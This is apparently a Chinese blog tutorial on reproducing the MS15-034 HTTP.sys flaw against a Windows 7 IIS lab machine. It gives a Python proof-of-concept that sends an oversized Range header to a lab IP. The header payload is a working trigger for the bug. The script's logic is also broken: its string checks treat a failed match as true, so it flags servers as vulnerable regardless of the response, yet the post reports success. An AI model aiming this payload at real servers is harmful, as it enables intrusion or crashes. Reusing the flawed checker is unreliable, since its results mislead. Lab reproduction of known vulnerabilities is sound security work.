MS15-034漏洞复现及python编写对应POC脚本

MS15-034漏洞复现及python编写对应POC脚本

    • 环境搭建
    • 编写python漏洞检测脚本
    • 总结

环境搭建

首先我们到官网查看对应漏洞的信息https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2015/ms15-034

MS15-034漏洞复现及python编写对应POC脚本_第1张图片
可以得知该漏洞适用于很多环境我们这里就用win7来构建靶机环境
在win7安装ISS
勾选上图上两项
MS15-034漏洞复现及python编写对应POC脚本_第2张图片
然后就开始安装了等待几分钟后(可能要重启)
验证安装成功否打开浏览器访问127.0.0.1
MS15-034漏洞复现及python编写对应POC脚本_第3张图片如图则安装成功

编写python漏洞检测脚本

在网上看了许多文章了解到是整数溢出
检测方法为在url的请求头里设置Host为stuff
Range为一个大整数0-18446744073709551615
如果存在该漏洞就会回显

Requested Range Not Satisfiable

则我们可以利用这个条件来编写一个该漏洞的检测脚本
靶机IP为192.168.66.128

首先确定对象网站的IIS是否为7.5或者8.0(这两个版本才可能存在漏洞)

r =requests.get(url)
serverinfo = r.headers['Server']
if serverinfo.find("IIS/7.5")or("IIS/8.0"):

如果存在IIS7.5或者8.0就将参数设置到请求头如果回显Requested Range Not Satisfiable则存在漏洞

    payload={"Host":"stuff","Range":"0-18446744073709551615"}
    r1=requests.get(url,headers=payload)
    if str(r1.content).find("Requested Range Not Satisfiable"):
        print("url: "+url+"  存在MS15-034漏洞!")
    else:
        print("url: "+url+"  未发现漏洞")

执行测试
测试成功!
MS15-034漏洞复现及python编写对应POC脚本_第4张图片
完整代码附上

import requests
url = "http://192.168.66.128"
r =requests.get(url)
serverinfo = r.headers['Server']
if serverinfo.find("IIS/7.5")or("IIS/8.0"):
    payload={"Host":"stuff","Range":"0-18446744073709551615"}
    r1=requests.get(url,headers=payload)
    if str(r1.content).find("Requested Range Not Satisfiable"):
        print("url: "+url+"  存在MS15-034漏洞!")
    else:
        print("url: "+url+"  未发现漏洞")
else:
    print("url: "+url+"  未发现漏洞")

总结

没有对原理做太多深入了解主旨在于POC的编写通过查看了POC了解到检测方法来编写自己的python漏洞检测脚本

你可能感兴趣的:(白帽子py编程,python,windows,安全漏洞,MS15-034,POC)